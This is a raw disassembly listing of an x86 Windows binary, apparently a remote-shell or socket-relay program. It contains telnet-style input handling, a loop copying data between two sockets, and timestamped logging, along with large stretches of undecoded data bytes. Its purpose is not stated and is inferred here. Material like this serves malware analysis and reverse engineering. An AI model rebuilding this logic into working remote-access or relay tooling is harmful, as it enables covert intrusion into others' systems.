		push	esi
		call	near ptr 2670C5Bh
		nop
		test	eax, eax
		jz	short loc_410FDB
		mov	eax, [ebp+arg_8]
		mov	ecx, [ebp+var_C]
		imul	eax, 234h
		push	[ebp+var_10]
		mov	esi, [ebp+var_14]
		mov	dword_443768[eax], ecx
		nop
		call	near ptr 267093Fh
		jmp	short loc_410FF1
; ---------------------------------------------------------------------------


loc_410FDB:				; CODE XREF: sub_410F1F+9Aj
		call	near ptr 2690A97h
		nop
		push	eax
		push	offset unk_439D64
		call	sub_415220
		mov	esi, [ebp+var_4]
		pop	ecx
		pop	ecx


loc_410FF1:				; CODE XREF: sub_410F1F+BAj
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_410F1F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410FF8	proc near		; DATA XREF: sub_410CD5+3Fo

var_1B0		= byte ptr -1B0h
var_C8		= byte ptr -0C8h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1B0h
		push	ebx
		push	esi
		mov	ebx, dword_4270E8
		push	edi
		mov	edi, [ebp+arg_0]
		lea	eax, [ebp+arg_0]
		push	0
		push	eax
		lea	eax, [ebp+var_C8]
		push	0C8h
		push	eax
		push	dword ptr [edi]


loc_411021:				; CODE XREF: sub_410FF8+8Fj
		call	ebx
		test	eax, eax
		jz	short loc_411089
		xor	eax, eax
		xor	dl, dl
		xor	esi, esi
		cmp	[ebp+arg_0], eax
		jbe	short loc_41105C


loc_411032:				; CODE XREF: sub_410FF8+62j
		mov	cl, [ebp+esi+var_C8]
		cmp	cl, 0Ah
		jnz	short loc_41104C
		cmp	dl, 0Dh
		jz	short loc_41104C
		mov	[ebp+eax+var_1B0], 0Dh
		inc	eax


loc_41104C:				; CODE XREF: sub_410FF8+44j
					; sub_410FF8+49j
		mov	[ebp+eax+var_1B0], cl
		inc	eax
		inc	esi
		mov	dl, cl
		cmp	esi, [ebp+arg_0]
		jb	short loc_411032


loc_41105C:				; CODE XREF: sub_410FF8+38j
		push	0
		push	eax
		lea	eax, [ebp+var_1B0]
		push	eax
		push	dword ptr [edi+0Ch]
		call	dword_4D0874
		test	eax, eax
		jle	short loc_411089
		lea	eax, [ebp+arg_0]
		push	0
		push	eax
		lea	eax, [ebp+var_C8]
		push	0C8h
		push	eax
		push	dword ptr [edi]
		jmp	short loc_411021
; ---------------------------------------------------------------------------


loc_411089:				; CODE XREF: sub_410FF8+2Dj
					; sub_410FF8+79j
		mov	esi, dword_42708C
		call	esi
		cmp	eax, 6Dh
		jz	short loc_4110A5
		call	esi
		push	eax
		push	offset dword_439DA4
		call	sub_415220
		pop	ecx
		pop	ecx


loc_4110A5:				; CODE XREF: sub_410FF8+9Cj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_410FF8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4110AA	proc near		; DATA XREF: sub_410CD5+71o

var_DC		= byte ptr -0DCh
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_7		= byte ptr -7
var_6		= byte ptr -6
var_5		= byte ptr -5
var_4		= byte ptr -4
var_3		= byte ptr -3
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0DCh
		push	ebx
		push	esi
		xor	ebx, ebx
		push	edi
		mov	edi, [ebp+arg_0]
		xor	esi, esi
		mov	[ebp+var_10], ebx
		mov	[ebp+var_C], ebx


loc_4110C3:				; CODE XREF: sub_4110AA+39j
					; sub_4110AA+D7j ...
		push	ebx
		lea	eax, [ebp+arg_0+3]
		push	1
		push	eax
		push	dword ptr [edi+0Ch]
		call	dword_4D083C
		test	eax, eax
		jle	loc_4111C8
		cmp	[ebp+var_10], ebx
		jbe	short loc_4110E5
		dec	[ebp+var_10]
		jmp	short loc_4110C3
; ---------------------------------------------------------------------------


loc_4110E5:				; CODE XREF: sub_4110AA+34j
		mov	al, byte ptr [ebp+arg_0+3]
		movsx	ecx, al
		cmp	ecx, 0FFh
		jz	loc_4111A8
		cmp	al, 8
		mov	[ebp+var_C], ebx
		jz	short loc_411155
		cmp	al, 7Fh
		jz	short loc_411155
		cmp	al, 3
		jnz	short loc_411110
		push	ebx
		push	ebx
		nop
		call	near ptr 2780D44h
		jmp	short loc_41117C
; ---------------------------------------------------------------------------


loc_411110:				; CODE XREF: sub_4110AA+5Aj
		cmp	al, 15h
		jnz	short loc_411132
		xor	esi, esi
		mov	[ebp+var_8], 20h
		mov	[ebp+var_7], 58h
		mov	[ebp+var_6], 58h
		mov	[ebp+var_5], 58h
		mov	[ebp+var_4], 0Dh
		mov	[ebp+var_3], 0Ah
		push	6
		jmp	short loc_411168
; ---------------------------------------------------------------------------


loc_411132:				; CODE XREF: sub_4110AA+68j
		mov	[ebp+esi+var_DC], al
		inc	esi
		push	1
		cmp	al, 0Dh
		mov	[ebp+var_8], al
		pop	ecx
		jnz	short loc_411169
		mov	[ebp+esi+var_DC], 0Ah
		mov	[ebp+var_7], 0Ah
		inc	esi
		push	2
		jmp	short loc_411168
; ---------------------------------------------------------------------------


loc_411155:				; CODE XREF: sub_4110AA+52j
					; sub_4110AA+56j
		cmp	esi, ebx
		jbe	short loc_41117F
		dec	esi
		mov	[ebp+var_8], 8
		mov	[ebp+var_7], 20h
		mov	[ebp+var_6], 8
		push	3


loc_411168:				; CODE XREF: sub_4110AA+86j
					; sub_4110AA+A9j
		pop	ecx


loc_411169:				; CODE XREF: sub_4110AA+98j
		push	ebx
		lea	eax, [ebp+var_8]
		push	ecx
		push	eax
		push	dword ptr [edi+0Ch]
		call	dword_4D0874
		test	eax, eax
		jle	short loc_4111C8


loc_41117C:				; CODE XREF: sub_4110AA+64j
		mov	al, byte ptr [ebp+arg_0+3]


loc_41117F:				; CODE XREF: sub_4110AA+ADj
		cmp	al, 0Dh
		jnz	loc_4110C3
		lea	eax, [ebp+var_14]
		push	ebx
		push	eax
		lea	eax, [ebp+var_DC]
		push	esi
		push	eax
		push	dword ptr [edi+4]
		call	near ptr 2700000h
		nop
		test	eax, eax
		jz	short loc_4111C8
		xor	esi, esi
		jmp	loc_4110C3
; ---------------------------------------------------------------------------


loc_4111A8:				; CODE XREF: sub_4110AA+47j
		cmp	[ebp+var_C], ebx
		jnz	short loc_4111B9
		mov	[ebp+var_C], 1
		jmp	loc_4110C3
; ---------------------------------------------------------------------------


loc_4111B9:				; CODE XREF: sub_4110AA+101j
		mov	[ebp+var_10], 0Ah
		mov	[ebp+var_C], ebx
		jmp	loc_4110C3
; ---------------------------------------------------------------------------


loc_4111C8:				; CODE XREF: sub_4110AA+2Bj
					; sub_4110AA+D0j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4110AA	endp

; ---------------------------------------------------------------------------
byte_4111CD	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+2C07o
		dd 2D4EC81h, 458B0000h,	57565308h, 0F08B106Ah, 2CBD8D5Bh
		dd 6AFFFFFFh, 0FC5D892Ch, 6AA5F359h, 5FF63301h,	0A8B889h
		dd 8D530000h, 5056EC45h, 0A38BE8h, 0CC48300h, 0EC45C766h
		dd 75FF0002h, 2415FFC0h, 6A004D08h, 26A5706h, 0EE458966h
		dd 0FFF07589h, 4D08A415h, 8BF88B00h, 0C069C445h, 234h
		dd 6CB88953h, 8D004437h, 5750EC45h, 85015FFh, 0C085004Dh
		dd 121850Fh, 0A6A0000h,	4C15FF57h, 85004D08h, 10850FC0h
		dd 0FF000001h, 0B5FFC075h, 0FFFFFF2Ch, 0FF99A2E8h, 8D5059FFh
		dd 0FFFD2C85h, 11EC68FFh, 0E8500043h, 0A606h, 3910C483h
		dd 2075D075h, 2C858D56h, 0FFFFFFFDh, 8D50CC75h,	0FFFF3085h
		dd 0B5FF50FFh, 0FFFFFF2Ch, 0FF87CDE8h, 14C483FFh, 0FD2C858Dh
		dd 0E850FFFFh, 3EF8h, 0FC458D59h, 0DC458D50h, 15FF5750h
		dd 4D08B8h, 8BC475FFh, 45B70FD8h, 758950DEh, 0E075FFD8h
		dd 8B015FFh, 8D50004Dh,	0FFFD2C85h, 9E5068FFh, 0E8500043h
		dd 0A59Ah, 2C858D53h, 6AFFFFFDh, 0FBE85019h, 89FFFF9Dh
		dd 0C069C845h, 234h, 83C44D8Bh,	888920C4h, 443764h, 5008458Dh
		dd 0FF2C858Dh, 5056FFFFh, 4113D268h, 90565600h,	27ECD7E8h
		dd 0C84D8B02h, 234C969h, 0C63B0000h, 37748189h,	13740044h
		dd 0FD87539h, 0FFFF6385h, 90056AFFh, 26FAD9E8h,	90EDEB02h
		dd 27F742E8h, 858D5002h, 0FFFFFD2Ch, 439E1468h,	1FE85000h
		dd 830000A5h, 39E90CC4h, 57FFFFFFh, 8BC15FFh, 75FF004Dh
		dd 2C858DC0h, 68FFFFFDh, 439DE0h, 0A4FCE850h, 0C4830000h
		dd 0D075390Ch, 8D562075h, 0FFFD2C85h, 0CC75FFFFh, 30858D50h
		dd 50FFFFFFh, 0FF2CB5FFh, 0C3E8FFFFh, 83FFFF86h, 858D14C4h
		dd 0FFFFFD2Ch, 3DEEE850h, 75FF0000h, 0A04CE8C4h, 5959FFFFh
		dd 0EC32E856h, 5F90022Dh, 8B555B5Eh, 0D4EC81ECh, 8B000005h
		dd 56530845h, 8B2C6A57h, 0BD8D59F0h, 0FFFFFF38h, 758BA5F3h
		dd 89016AD4h, 0F6690875h, 234h,	6CB68D5Fh, 89004437h, 0ACB8h
		dd 8BDB3300h, 0F845C706h, 5, 0FA308589h, 458DFFFFh, 8D5350F8h
		dd 0FFFA2C85h, 535053FFh, 89FC5D89h, 0FFFA2CBDh, 0C15FFFFh
		dd 85004D08h, 0FF1875C0h, 0BC15FF36h, 0FF004D08h, 0C7E80875h
		dd 59FFFF9Fh, 0EBAEE853h, 5390022Dh, 0FB30858Dh, 868FFFFh
		dd 50000004h, 15FF36FFh, 4D083Ch, 187FC085h, 15FF36FFh
		dd 4D08BCh, 0E80875FFh,	0FFFF9F96h, 0E8905359h,	22DEB7Ch
		dd 0FB30BD80h, 0F04FFFFh, 1ED85h, 31BD8000h, 1FFFFFBh
		dd 1E0850Fh, 5D380000h,	8D7774BCh, 8D50BC45h, 0FFFB3885h
		dd 0BDE850FFh, 590000ABh, 7459C085h, 0BC458D61h, 38858D50h
		dd 50FFFFFBh, 439F1868h, 3D52E800h, 680000h, 8D000004h
		dd 0FFFB3885h, 885053FFh, 0FFFB309Dh, 3185C6FFh, 5DFFFFFBh
		dd 0A0A3E8h, 18C48300h,	0FB30858Dh, 6A53FFFFh, 36FF5008h
		dd 87415FFh, 36FF004Dh,	8BC15FFh, 75FF004Dh, 9F00E808h
		dd 5359FFFFh, 2DEAE7E8h, 106A9002h, 53E8458Dh, 0A06AE850h
		dd 8B660000h, 0FFFB3285h, 0CC483FFh, 0EA458966h, 0FB34858Bh
		dd 66AFFFFh, 66026A57h,	2E845C7h, 0EC458900h, 8A415FFh
		dd 0F88B004Dh, 75FFFF83h, 0B815FF5Dh, 50004D07h, 439ED868h
		dd 3CBAE800h, 680000h, 8D000004h, 0FFFB3885h, 885053FFh
		dd 0FFFB309Dh, 3185C6FFh, 5BFFFFFBh, 0A00BE8h, 14C48300h
		dd 0FB30858Dh, 6A53FFFFh, 36FF5008h, 87415FFh, 36FF004Dh
		dd 8BC15FFh, 75FF004Dh,	9E68E808h, 5359FFFFh, 2DEA4FE8h
		dd 458D9002h, 50106AE8h, 0CC15FF57h, 83004D07h,	5D75FFF8h
		dd 7B815FFh, 6850004Dh,	439E94h, 3C4BE8h, 4006800h, 858D0000h
		dd 0FFFFFB38h, 9D885053h, 0FFFFFB30h, 0FB3185C6h, 0E85BFFFFh
		dd 9F9Ch, 8D14C483h, 0FFFB3085h, 86A53FFh, 0FF36FF50h
		dd 4D087415h, 0FF36FF00h, 4D08BC15h, 875FF00h, 0FF9DF9E8h
		dd 905359FFh, 2DE9DFE8h, 4006802h, 858D0000h, 0FFFFFB38h
		dd 9D885053h, 0FFFFFB30h, 0FB3185C6h, 0E85AFFFFh, 9F50h
		dd 8D0CC483h, 0FFFB3085h, 86A53FFh, 0FF36FF50h,	4D087415h
		dd 5736FF00h, 39E8h, 57595900h,	8BC15FFh, 36FF004Dh, 8BC15FFh
		dd 75FF004Dh, 9D9CE808h, 5359FFFFh, 0E982E890h,	36FF022Dh
		dd 8BC15FFh, 75FF004Dh,	9D84E808h, 5359FFFFh, 2DE96BE8h
		db 2, 90h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 504h
		push	ebx
		mov	ebx, [ebp+0Ch]
		push	esi
		push	edi
		xor	edi, edi
		mov	esi, 400h


loc_4116AC:				; CODE XREF: ___:0041175Bj
					; ___:0041178Bj
		mov	[ebp-100h], ebx
		mov	dword ptr [ebp-104h], 1
		xor	ecx, ecx
		lea	eax, [ebp-100h]


loc_4116C4:				; CODE XREF: ___:004116D2j
		mov	edx, [ebp+8]
		cmp	[eax], edx
		jz	short loc_4116D4
		inc	ecx
		add	eax, 4
		cmp	ecx, 1
		jb	short loc_4116C4


loc_4116D4:				; CODE XREF: ___:004116C9j
		cmp	ecx, 1
		jnz	short loc_4116E9
		mov	[ebp-0FCh], edx
		mov	dword ptr [ebp-104h], 2


loc_4116E9:				; CODE XREF: ___:004116D7j
		push	esi
		lea	eax, [ebp-504h]
		push	edi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp-104h]
		push	edi
		push	edi
		push	edi
		push	eax
		push	edi
		call	dword_4D080C
		lea	eax, [ebp-104h]
		push	eax
		push	ebx
		call	dword_4D0710
		test	eax, eax
		jz	short loc_411749
		push	edi
		lea	eax, [ebp-504h]
		push	esi
		push	eax
		push	ebx
		call	dword_4D083C
		cmp	eax, 0FFFFFFFFh
		jz	short loc_411791
		push	edi
		push	eax
		lea	eax, [ebp-504h]
		push	eax
		push	dword ptr [ebp+8]
		call	dword_4D0874
		cmp	eax, 0FFFFFFFFh
		jz	short loc_411791


loc_411749:				; CODE XREF: ___:0041171Bj
		lea	eax, [ebp-104h]
		push	eax
		push	dword ptr [ebp+8]
		call	dword_4D0710
		test	eax, eax
		jz	loc_4116AC
		push	edi
		lea	eax, [ebp-504h]
		push	esi
		push	eax
		push	dword ptr [ebp+8]
		call	dword_4D083C
		cmp	eax, 0FFFFFFFFh
		jz	short loc_411791
		push	edi
		push	eax
		lea	eax, [ebp-504h]
		push	eax
		push	ebx
		call	dword_4D0874
		cmp	eax, 0FFFFFFFFh
		jnz	loc_4116AC


loc_411791:				; CODE XREF: ___:00411730j
					; ___:00411747j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
word_411796	dw 8B55h		; DATA XREF: sub_401ACD+210Do
					; sub_40BACD+106o
		dd 7CEC81ECh, 8B000008h, 56530855h, 33016A57h, 0A9B958DBh
		dd 8B000000h, 8CBD8DF2h, 53FFFFFCh, 0A5F3026Ah,	0FE9C85FFh
		dd 26AFFFFh, 89F04589h,	4589EC45h, 0A08289F8h, 0FF000002h
		dd 4D08A415h, 83F08B00h, 5675FFFEh, 19068h, 3BE89000h
		dd 390226F6h, 0FFFF289Dh, 532375FFh, 0F888858Dh, 0B5FFFFFFh
		dd 0FFFFFF24h, 0A4858D50h, 50FFFFFEh, 0FC8CB5FFh, 5FE8FFFFh
		dd 83FFFF82h, 858D14C4h, 0FFFFF888h, 398AE850h,	0B5FF0000h
		dd 0FFFFFE98h, 0FF9BE5E8h, 535959FFh, 0E7CAE890h, 458D022Dh
		dd 50046AF0h, 0FFFFBFh,	57046A00h, 415FF56h, 8D004D08h
		dd 46AEC45h, 57FB6A50h,	415FF56h, 8B004D08h, 0FFFE9885h
		dd 69106AFFh, 234C0h, 0B0895300h, 44376Ch, 50D4458Dh, 9D17E8h
		dd 0CC48300h, 0D445C766h, 0B5FF0002h, 0FFFFFEA0h, 82415FFh
		dd 8966004Dh, 458DD645h, 50106AD4h, 0D85D8956h,	85015FFh
		dd 0F883004Dh, 681975FFh, 1388h, 26F575E8h, 8DFF9002h
		dd 0FFFFFE9Ch, 0E90875FFh, 347h, 0FC90858Dh, 6868FFFFh
		dd 50004290h, 9BF1E8h, 0C33B5900h, 0FC458959h, 90684C75h
		dd 90000001h, 26F541E8h, 858D5302h, 0FFFFF888h,	0FF24B5FFh
		dd 8D50FFFFh, 0FFFEA485h, 0B5FF50FFh, 0FFFFFC8Ch, 0FF816DE8h
		dd 88858DFFh, 50FFFFF8h, 389BE8h, 98B5FF00h, 0E8FFFFFEh
		dd 0FFFF9AF6h, 531CC483h, 0E6DAE890h, 7D8B022Dh, 0A09F3908h
		dd 0F000002h, 29584h, 80BF00h, 858D0000h, 0FFFFFF30h, 0C7505357h
		dd 5E445h, 45C70000h, 1388E8h, 88B58900h, 0C7FFFFF7h, 0FFF78485h
		dd 1FFh, 9C2AE800h, 0C4830000h,	0E4458D0Ch, 858D5350h
		dd 0FFFFF784h, 0FF535053h, 4D080C15h, 0FC08500h, 2398Eh
		dd 29D8A000h, 0CF8B0044h, 0FA888588h, 0C033FFFFh, 0FA89BD8Dh
		dd 45C7FFFFh, 10F4h, 66ABF300h,	458DAAABh, 458D50F4h, 8D5350C4h
		dd 0FFFF3085h, 8068FFh,	56500000h, 7FC15FFh, 75FF004Dh
		dd 0F84589C8h, 8B015FFh, 8D50004Dh, 0E850B045h,	9EAEh
		dd 0FF309D38h, 5959FFFFh, 1C2850Fh, 0BD800000h,	0FFFFFF31h
		dd 0BB850F01h, 8D000000h, 0FFFD9485h, 0E1E850FFh, 53000095h
		dd 0FC75FF53h, 0B7E3E8h, 0FC75FF00h, 0FA8C858Dh, 9D88FFFFh
		dd 0FFFFFA88h, 0FA8985C6h, 6803FFFFh, 200h, 8850016Ah
		dd 0FFFA8A9Dh, 8B85C6FFh, 1FFFFFAh, 96E1E8h, 20C48300h
		dd 89C44D8Dh, 0C083F845h, 0F475FF04h, 8D505351h, 0FFFA8885h
		dd 0FF5650FFh, 4D088815h, 0B0458D00h, 88858D50h, 68FFFFF8h
		dd 439F84h, 9E18E850h, 0C4830000h, 289D390Ch, 75FFFFFFh
		dd 858D5323h, 0FFFFF888h, 0FF24B5FFh, 8D50FFFFh, 0FFFEA485h
		dd 0B5FF50FFh, 0FFFFFC8Ch, 0FF7FD9E8h, 14C483FFh, 0F888858Dh
		dd 0E850FFFFh, 3704h, 110E959h,	0BD800000h, 0FFFFFF31h
		dd 0ED850F04h, 8A000000h, 0FFFF338Dh, 32858AFFh, 80FFFFFFh
		dd 9D88FFF9h, 0FFFFFA88h, 0FA8985C6h, 7503FFFFh, 32C0FE12h
		dd 8A8588C9h, 88FFFFFAh, 0FFFA8B9Dh, 0FE0EEBFFh, 8A8588C1h
		dd 88FFFFFAh, 0FFFA8B8Dh, 0C0B60FFFh, 0C1C9B60Fh, 0C10308E0h
		dd 200BFh, 9E0C100h, 5053C72Bh,	0E8FC75FFh, 0B6D4h, 8DFC75FFh
		dd 0FFFA8C85h, 16A57FFh, 95F0E850h, 0C4830000h,	8DF88B1Ch
		dd 7D89C445h, 0F475FFF8h, 4478D50h, 858D5053h, 0FFFFFA88h
		dd 15FF5650h, 4D0888h, 6E75FB3Bh, 50B0458Dh, 0F888858Dh
		dd 6468FFFFh, 5000439Fh, 9D21E8h, 0CC48300h, 0FF289D39h
		dd 2375FFFFh, 88858D53h, 0FFFFFFF8h, 0FFFF24B5h, 858D50FFh
		dd 0FFFFFEA4h, 8CB5FF50h, 0E8FFFFFCh, 0FFFF7EE2h, 8D14C483h
		dd 0FFF88885h, 0DE850FFh, 0FF000036h, 4D332C05h, 16EB5900h
		dd 8DF475FFh, 5350C445h, 5868096Ah, 5600439Fh, 88815FFh
		dd 5D39004Dh, 5F8F0FF8h, 8BFFFFFDh, 0FF56087Dh,	4D08BC15h
		dd 0FC75FF00h, 9482E8h,	9C8DFF00h, 39FFFFFEh, 2A09Fh, 13755900h
		dd 0FE98B5FFh, 1FE8FFFFh, 59FFFF98h, 5E89053h, 68022DE4h
		dd 3E8h, 26F221E8h, 0E8579002h,	0FFFFFB8Ah, 0C95B5E5Fh
; ---------------------------------------------------------------------------
		retn	4
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 314h
		lea	eax, [ebp-10h]
		push	esi
		push	eax
		nop
		call	near ptr 2790000h
		lea	eax, [ebp-114h]
		push	104h
		push	eax
		nop
		call	near ptr 2680ACFh
		lea	eax, [ebp-114h]
		push	offset asc_43A744 ; "\\"
		push	eax
		call	sub_41BEC0
		lea	eax, [ebp-114h]
		push	offset dword_429118
		push	eax
		call	sub_41BEC0
		lea	eax, [ebp-114h]
		push	offset aAb	; "ab"
		push	eax
		call	sub_41B4C2
		mov	esi, eax
		add	esp, 18h
		test	esi, esi
		jnz	short loc_411C7A
		push	1
		pop	eax
		jmp	short loc_411CF1
; ---------------------------------------------------------------------------


loc_411C7A:				; CODE XREF: ___:00411C73j
		movzx	eax, word ptr [ebp-4]
		push	dword ptr [ebp+8]
		push	eax
		movzx	eax, word ptr [ebp-6]
		push	eax
		movzx	eax, word ptr [ebp-8]
		push	eax
		movzx	eax, word ptr [ebp-10h]
		push	eax
		movzx	eax, word ptr [ebp-0Ah]
		push	eax
		movzx	eax, word ptr [ebp-0Eh]
		push	eax
		push	offset aDDDDDDS	; "[%d-%d-%d %d:%d:%d] %s\r\n"
		push	esi
		call	sub_41BE06
		push	esi
		call	sub_41B05B
		add	esp, 28h
		cmp	dword ptr [ebp+98h], 0
		jnz	short loc_411CEF
		push	dword ptr [ebp+8]
		lea	eax, [ebp-314h]
		push	offset dword_43A714
		push	200h
		push	eax
		call	sub_41B980
		push	0
		lea	eax, [ebp-314h]
		push	dword ptr [ebp+94h]
		push	eax
		lea	eax, [ebp+14h]
		push	eax
		push	dword ptr [ebp+0Ch]
		call	sub_409A72
		add	esp, 24h


loc_411CEF:				; CODE XREF: ___:00411CB6j
		xor	eax, eax


loc_411CF1:				; CODE XREF: ___:00411C78j
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------
dword_411CF4	dd 81EC8B55h, 8DCECh, 8458B00h,	83575653h, 0FFF724A5h
					; DATA XREF: sub_401ACD+4508o
		dd 256A00FFh, 0FC6583h,	8DF08B59h, 0FFFF24BDh, 0C7A5F3FFh
		dd 9080h, 100h,	0FFB900h, 0C0330000h, 0F728BD8Dh, 0ABF3FFFFh
		dd 7A815FFh, 4D8D004Dh,	513C6AB8h, 0F8458950h, 7C015FFh
		dd 0BB004Dh, 6A000002h,	0F0D0E808h, 0FF900226h,	4D07A815h
		dd 0F8453B00h, 4D8D7574h, 513C6AB8h, 0F8458950h, 7C015FFh
		dd 458D004Dh, 858D50B8h, 0FFFFFD24h, 24858D50h,	68FFFFFBh
		dd 43A774h, 9AF8E850h, 0EC810000h, 84h,	0FF24B58Dh, 858DFFFFh
		dd 0FFFFFB24h, 8B59256Ah, 0A5F350FCh, 0FFFE66E8h, 0FC4589FFh
		dd 24858D53h, 6AFFFFFDh, 0D1E85000h, 81000097h,	0A4C4h
		dd 24858D00h, 53FFFFFBh, 0E850006Ah, 97BCh, 0C70CC483h
		dd 9FAC0845h, 106A0043h, 6F815FFh, 0BF0F004Dh, 8458BF0h
		dd 57FC788Bh, 7F015FFh,	0C4F6004Dh, 6A7B7480h, 0F815FF14h
		dd 66004D06h, 1F74C085h, 7EFFFE83h, 40FF831Ah, 0FF83157Eh
		dd 0C7107D5Bh, 0F724BD84h, 1FFFFh, 7FE90000h, 6A000001h
		dd 0F815FF14h, 66004D06h, 1E74C085h, 2E7DF685h,	7E40FF83h
		dd 5BFF8315h, 84C7107Dh, 0FFF724BDh, 2FFh, 154E900h, 0F6850000h
		dd 84C7107Dh, 0FFF724BDh, 3FFh,	140E900h, 84C70000h, 0FFF724BDh
		dd 4FFh, 130E900h, 0B48B0000h, 0FFF724BDh, 0BD848DFFh
		dd 0FFFFF724h, 840FF685h, 11Ah,	8D002083h, 0FFFD2485h
		dd 8FF83FFh, 0E8137550h, 9140h,	2305A480h, 0FFFFFDh, 0F8E959h
		dd 2DE80000h, 3D000091h, 1B9h, 0FF257659h, 4D07A815h, 0B84D8D00h
		dd 50513C6Ah, 7C015FFh,	458D004Dh, 858D50B8h, 0FFFFFD24h
		dd 0A75C6850h, 41EB0043h, 0F0DFF83h, 8F85h, 24858D00h
		dd 50FFFFFDh, 90EBE8h, 59C08500h, 0A8840Fh, 15FF0000h
		dd 4D07A8h, 6AB84D8Dh, 0FF50513Ch, 4D07C015h, 0B8458D00h
		dd 24858D50h, 50FFFFFDh, 43A74868h, 24858D00h, 50FFFFFBh
		dd 9959E8h, 84EC8100h, 8D000000h, 0FFFF24B5h, 24858DFFh
		dd 6AFFFFFBh, 0FC8B5925h, 0E8A5F350h, 0FFFFFCC7h, 53FC4589h
		dd 0FD24858Dh, 6AFFFFh,	9632E850h, 0C4810000h, 0A4h, 0FB24858Dh
		dd 6A53FFFFh, 1DE85000h, 83000096h, 2EEB0CC4h, 7401FE83h
		dd 3FE8314h, 0FE830F74h, 83057402h, 1A7504FEh, 0EB0875FFh
		dd 8458B07h, 5007C083h,	0FD24858Dh, 0E850FFFFh,	9F1Ch
		dd 45835959h, 7D811408h, 43A6DC08h, 278C0F00h, 83FFFFFEh
		dd 0F00FC7Dh, 0FFFD8E84h, 28B5FFFFh, 0E8FFFFFFh, 0FFFF9446h
		dd 90006A59h, 2DE02BE8h
		db 2
byte_411FD5	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+412Ao
		dd 102B4B8h, 9B3EE800h,	558B0000h, 6A575608h, 0F28B5801h
		dd 0BD8D256Ah, 0FFFFFF4Ch, 0F8458959h, 8289A5F3h, 90h
		dd 106AF633h, 56E4458Dh, 9582E850h, 0C4830000h,	45C7660Ch
		dd 560002E4h, 82415FFh,	0B5FF004Dh, 0FFFFFF4Ch,	0E6458966h
		dd 0FF8BE2E8h, 0FF5059FFh, 4D086415h, 36A5600h,	4589026Ah
		dd 0A415FFE8h, 8B004D08h, 0FFFF83F8h, 75FC7D89h, 0B815FF5Dh
		dd 50004D07h, 0FD4C858Dh, 0E468FFFFh, 500043B0h, 9821E8h
		dd 0CC48300h, 75D87539h, 858D5620h, 0FFFFFD4Ch,	50D475FFh
		dd 0FF50858Dh, 0FF50FFFFh, 0FFFF4CB5h, 79E8E8FFh, 0C483FFFFh
		dd 4C858D14h, 50FFFFFDh, 3113E8h, 0D075FF00h, 0FF9371E8h
		dd 565959FFh, 2DDF57E8h, 458B9002h, 69106AD0h, 234C0h
		dd 6CB88900h, 8D004437h, 5750E445h, 85015FFh, 0F883004Dh
		dd 0FF6475FFh, 4D07B815h, 858D5000h, 0FFFFFD4Ch, 43B0B868h
		dd 0A3E85000h, 83000097h, 75390CC4h, 562075D8h,	0FD4C858Dh
		dd 75FFFFFFh, 858D50D4h, 0FFFFFF50h, 4CB5FF50h,	0E8FFFFFFh
		dd 0FFFF796Ah, 8D14C483h, 0FFFD4C85h, 95E850FFh, 59000030h
		dd 0BC15FF57h, 0FF004D08h, 0EBE8D075h, 59FFFF92h, 0D1E89056h
		dd 56022DDEh, 56E0458Dh, 8D565650h, 46AF845h, 16850h, 0FF579800h
		dd 4D07D015h, 0FFF88300h, 15FF6475h, 4D07B8h, 4C858D50h
		dd 68FFFFFDh, 43B088h, 9720E850h, 0C4830000h, 0D875390Ch
		dd 8D562075h, 0FFFD4C85h, 0D475FFFFh, 50858D50h, 50FFFFFFh
		dd 0FF4CB5FFh, 0E7E8FFFFh, 83FFFF78h, 858D14C4h, 0FFFFFD4Ch
		dd 3012E850h, 57590000h, 8BC15FFh, 75FF004Dh, 9268E8D0h
		dd 5659FFFFh, 2DDE4FE8h, 0BB539002h, 43A7A0h, 0FFFFBFh
		dd 4C858D00h, 57FFFEFDh, 0C5E85056h, 83000093h,	858D0CC4h
		dd 0FFFEFD4Ch, 0FF505756h, 15FFFC75h, 4D083Ch, 0FFFF883h
		dd 0FC84h, 55BD8000h, 6FFFEFDh,	858BC675h, 0FFFEFD58h
		dd 0FD6DBD80h, 8918FFFEh, 0B475F445h, 0FD74858Dh, 7C68FFFEh
		dd 500043B0h, 96EBE8h, 0C0855900h, 8D9D7559h, 0FEFD7485h
		dd 0B06C68FFh, 0E8500043h, 96D4h, 59C08559h, 0C38B8675h
		dd 0C085FF33h, 0FF7A840Fh, 5D89FFFFh, 858D5008h, 0FFFEFD74h
		dd 96B2E850h, 85590000h, 0F7559C0h, 8458347h, 8458B18h
		dd 55E9E375h, 8DFFFFFFh, 0FEFD7485h, 0B5FF50FFh, 0FFFEFD60h
		dd 75415FFh, 0B70F004Dh, 75FF50C0h, 0B015FFF4h,	50004D08h
		dd 8B7F048Dh, 0A7B4C504h, 34FF0043h, 43A79085h,	4C858D00h
		dd 68FFFFFDh, 43B038h, 20068h, 0D5E85000h, 83000096h, 75391CC4h
		dd 562075D8h, 0FD4C858Dh, 75FFFFFFh, 858D50D4h,	0FFFFFF50h
		dd 4CB5FF50h, 0E8FFFFFFh, 0FFFF77A2h, 8D14C483h, 0FFFD4C85h
		dd 0CDE850FFh, 5900002Eh, 0FFFED3E9h, 0B815FFFFh, 50004D07h
		dd 43B00C68h, 4C858D00h, 68FFFFFDh, 200h, 967EE850h, 0C4830000h
		dd 0D8753910h, 5620755Bh, 0FD4C858Dh, 75FFFFFFh, 858D50D4h
		dd 0FFFFFF50h, 4CB5FF50h, 0E8FFFFFFh, 0FFFF774Ah, 8D14C483h
